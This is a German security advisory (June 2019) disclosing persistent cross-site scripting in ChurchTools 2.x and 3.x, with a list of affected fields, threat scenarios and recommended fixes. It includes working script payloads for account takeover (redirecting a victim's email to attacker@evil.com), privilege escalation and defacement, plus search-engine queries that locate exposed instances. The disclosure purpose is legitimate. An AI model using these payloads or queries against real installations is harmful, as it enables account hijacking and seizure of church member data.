ChurchTools-Sicherheitslücke: XSS und HTML-Injection in Eingabefeldern

In ChurchTools ist eine große Anzahl von Formularfeldern, in denen Zeichenketten eingegeben werden können, anfällig für Cross-Site-Scripting. Dadurch ist im schlimmsten Fall auch ein Eindringen in eine ChurchTools-Installation von außen möglich.

Ein Eingabefeld für eine Zeichenkette wird beim Speichern in ChurchTools so wie sie ist in die Applikations-Datenbank gespeichert. Die eingegeben Zeichenkette wird in der Weboberfläche von ChurchTools angezeigt, dabei führt der Browser des Anwenders die in der Zeichenkette vorhandenen HTML- und Javascript-Befehle aus. Der eingeschleuste Javascript-Code wird potenziell bei allen Benutzern von ChurchTools ausgeführt.

Da der eingeschleuste Code dieselben Rechte wie der gerade eingeloggte Benutzer besitzt, können alle Vorgänge durchgeführt werden, für die der eingeloggte Benutzer in ChurchTools berechtigt ist.

Betroffene Versionen

- ChurchTools 2.0 Community Edition (https://github.com/churchtools/churchtools_basic)
- ChurchTools 2.x
- ChurchTools 2.x Pro
    - ChurchTools 2.58 Pro (getestet)
- ChurchTools 3.x
    - ChurchTools 3.46.2 (getestet)

Art

Persistent

Mögliche Auswirkungen

1. Identitätsdiebstahl (Identity theft)
2. Rechteausweitung (Privilege escalation)
3. Datendiebstahl (Data theft)
4. Verunstaltung der Anwendung (Defacement)

Es sind weitere Auswirkungen denkbar, da der Angreifer komplette Kontrolle per Javascript über die im Browser des Anwenders laufende ChurchTools-Anwendung hat.

Betroffene Felder

Dies ist *keine* komplette Auflistung aller betroffenen Felder in der Version 3.46.2. Für eine komplette Liste müssen alle Felder der Anwendung überprüft werden.

Insbesondere Felder, in denen praktisch unbeschränkt Text eingegeben werden kann, eigenen sich für XSS. Diese sind mit * markiert.

- Alle Module
    - Stammdaten bearbeiten
        - "Bezeichnung"
        - Alle Textfelder

- Personen & Gruppen
  - Person
    - "Vorname"
    - "Spitzname"
    - "Nachname"
    - "Strasse"
  - Person - Kommentare
    - "Kommentar"*
  - Gruppe bearbeiten
    - "Titel"
    - "Bemerkung"*
  - Gruppe
    - "Kommentar schreiben"*
  - Gruppe - Gruppenteilnahme bearbeiten
    - "Bemerkung"
  - Gruppe - Weitere Felder hinzufügen
    - "Titel"
    - "Standardwert"
  - Externe Gruppenanmeldung
    - "Kommentar"
    - Gruppenfelder vom Feldtyp "Textfeld" (sofern konfiguriert)
- Events
  - Dienstplan - Dienst zum Event hinzufügen oder entfernen - Dienst erstellen/bearbeiten
    - "Bezeichnung"
    - "Bemerkung"*
  - Dienstplan - Eventitem - Weitere Infos bearbeiten
    - "Weitere Infos zum Event"
  - Abwesenheiten - Abwesenheit bearbeiten
    - "Kommentar"
  - Ablaufplan - Ablaufplan editieren
    - "Bezeichnung"
    - "Predigtserie"
  - Ablaufplan - Position bearbeiten
    - "Bemerkung"*

    - Songs - Song erstellen/bearbeiten
        - "Bezeichnung"
        - "Autor"
        - "Copyright"
        - "CCLI-Nummer"
    - Songs - Song anklicken - Arrangement-Tab - Bearbeiten
        - "Bezeichnung"
        - "Bemerkungen"
    - Songs - Song anklicken - Arrangement-Tab
        - "Kommentar schreiben"*
    - Songs - Song anklicken - Arrangement-Tab - "Link hinzufügen"
        - "Bezeichnung"
- Wiki
    - Link hinzufügen
        - "Bezeichnung"

Beispiele (Proof of concept)

Aufgrund der Natur eines XSS-Angriffs können alle ChurchTools-Client-Funktionen durch ein Skript aufgerufen werden. Abhängig von den Berechtigungen des Benutzers werden diese dann ausgeführt.

Die Beispiele dienen nur zur Veranschaulichung, welche Angriffe denkbar und umsetzbar sind. Würde man einen echten Angriff durchführen, wären die eingeschleusten Skripte wesentlich ausgefeilter. Es versteht sich von selbst, dass die Beispiele nicht so einfach funktionieren, da nicht alle User die entsprechenden Berechtigungen zur Ausführung besitzen.

A. Identitätsdiebstahl (Identity theft)

Angreifer trägt Folgendes ohne Zeilenwechel in ein passendes verwundbares Feld ein:

```
<script>
    var uid=settings.user.id;
    churchInterface.jsendWrite({func:"f_address",id:uid,email:"attacker@evil.com"},null)
    churchInterface.jsendWrite({func:"sendInvitationMail",id:uid},null);
</script>
```

Besucht ein Benutzer in ChurchTools ein Programmteil, in dem das verwundbare Feld angezeigt wird, wird das eingegebene Skript im Browser mit den Rechten des Benutzers ausgeführt. Sofern der Benutzer die entsprechenden Berechtigungen in ChurchTools besitzt, wird dann die E-Mailadresse des Benutzers durch die des Angreifers überschrieben und eine Einladung an die E-Mail-Adresse des Angreifers verschickt. Der eigentliche Benutzer bekommt davon nichts mit.

Der Angreifer muss nur noch auf die Einladungs-E-Mail warten und den enhaltenen Link zu Anmeldung an ChurchTools anklicken. Nach Eingabe eines neuen Passwortes hat der Angreifer die Identität des Benutzers übernommen, der Benutzer hat keinen ChurchTools-Zugriff mehr.

Ist der Benutzer ein ChurchTools-Superadmin, kann der Angreifer nun allen anderen Superadmins die Zugänge sperren. Der Angreifer hat sein Ziel erreicht: Alleinige Kontrolle über die ChurchTools-Instanz.

B. Rechteausweitung (Privilege escalation)

Angreifer trägt Folgendes ohne Zeilenwechel in ein passendes verwundbares Feld ein:

```
<script>
    churchInterface.jsendWrite({func:'saveAuth',domain_type:'person',domain_id:1234,
                                data:[{'auth_id':2}]},null,!0,!1,"churchauth")
</script>
```

Sobald bei einem ChurchTools-Nutzer mit der Berechtigung "administer persons" dieses Skript ausgeführt wird, erhält die Person mit der Id 1234 (der Angreifer) die Berechtigung "administer persons". Damit kann der Angreifer sich selbst alle Berechtigungen erteilen. In Folge dessen kann der Angreifer selbst zum Superadmin werden, indem er die Daten des Superadmins überschreibt (Identity theft).

C. Verunstaltung der Anwendung (Defacement)

Überschreiben der Anwendung auf dem Client:

```
<script>document.write(" ")</script>
```

ChurchTools ist dann in den Bereichen nicht mehr benutzbar, in denen das Eingabefeld angezeigt und somit auch das Skript ausgeführt wird.

Bedrohungsszenarien

Angriff von außen

Kritisch ist die Schwachstelle im Formular "Externe Gruppenanmeldung" in Version 3.x: Durch die Verwundbarkeit des Feldes "Kommentar" und aller anderen dort verwendeten benutzerdefinierte Textfelder kann jeder von außen in eine beliebige ChurchTools-Installation eindringen, sofern mindestens eine öffentliche Gruppenanmeldung existiert und eine der beiden folgenden Bedingungen zutrifft:

1. In den Gruppeneinstellungen ist die Option "Es soll eine neue Person erstellt werden, wenn die Person noch nicht existiert." aktiviert.
2. Die Anmeldung erfolgt mit Daten einer vorhandenen Person (=ChurchTools kann anhand von Vorname, Name und E-Mail die Person identifizieren).

In beiden Fällen kommt es zur Ausführung des eingeschleusten Skripts, wenn die Gruppe in der Gruppenliste ausgeklappt wird.

Trifft die erste Bedingung zu, kann ein externer Angreifer beliebige Daten zur Anmeldung verwenden. Glücklicherweise ist die Option "Es soll eine neue Person erstellt werden, wenn die Person noch nicht existiert." standardmäßig deaktiviert.

Die zweite Bedingung ist für einen externen Angreifer deutlich schwieriger zu erfüllen. Ein Ansatz ist die Verwendung der Daten der im Anmeldeformular häufig angegebenen Gruppenleiter, zumindest ist hier die Wahrscheinlichkeit sehr hoch, dass diese Personen in ChurchTools eingetragenen sind. Eine fehlende E-Mailadresse kann manchmal per Suchmaschine ermittelt werden.

Da Gruppenanmeldungen aus dem Internet erreicht werden können, kann ein Angreifer potenziell verwundbare ChurchTool-Installationen sehr einfach auffinden:

- Google: Instanzen mit Gruppenanmeldungen (https://www.google.com /search?q=intitle%3Aexternmapview+%7C+%22q%3Dexternmapview%22)
- Google: Instanzen mit Gruppenanmeldungen auf .church.tools (https://www.google.com /search?q=site:.church.tools/+%22church.tools%22+intitle:%22externmapview%22)

Mit Version 2.x ist ein Angriff von außen nicht durchführbar, da es zu keiner Skriptausführung kommt.

Angriff von innen

Ein Angreifer von innen - also jemand, der bereits einen ChurchTools-Zugang besitzt - hat es in der Regel leichter: Meist kann zumindest ein verwundbares Feld durch den Innen-Angreifer beschrieben werden. Das ist zum Beispiel bereits dann der Fall, wenn der Anwender das Recht "view (churchdb)" hat und in den Admin-Einstellungen die Option "Jeder Benutzer darf seine eigenen Stammdaten anpassen" aktiviert ist.

ChurchTools-Administratoren und andere Personen mit mutmaßlich höheren Berechtigungen sind in einer Gemeinde meist bekannt. Ein Angriff auf eine Person mit höheren Berechtigungen kann gezielt gestartet werden, weil die ChurchTools-Personen-Id über eine Personensuche ermittelt werden kann.

Maßnahmen zur Behebung

Zur Behebung der Schwachstelle sollte in folgenden Bereichen nachgebessert werden:

1. Escaping **aller** Variableninhalte bei HTML- und JavaScript-Ausgabe
2. Validierung aller Benutzereingaben

Der Einsatz von bewährten Frameworks für das Escaping und der Validierung ist einer Eigenimplementierung vorzuziehen. Vue.js (https://vuejs.org/) sollte auch bei älteren Teilen der Anwendung zum Einsatz kommen.

3. Konfigurationseinstellung zur Deaktivierung der automatische Versendung von E-Mails zur Anmeldung bei ChurchTools ergänzen.

Unter dem Sicherheitsaspekt ist die automatische Versendung von E-Mails zur Anmeldung bei ChurchTools (u. a. bei Besprechungsanfragen im Kalender) nicht optimal. Dieser Automatismus erleichtert den Angriff, da so externe Personen Zugang erhalten. Eine Konfigurationseinstellung zur Deaktivierung kann helfen, den Angriffsvektor "Innentäter" weiter zu minimieren.

Links

- Wikipedia (en): Cross-site request forgery (https://en.wikipedia.org/wiki/Cross-site_request_forgery)
- Wikipedia (de): Cross-Site-Scripting (https://de.wikipedia.org/wiki/Cross-Site-Scripting)

Autor

- Michael Leimer <m.leimer@gmx.de ()> im Juni 2019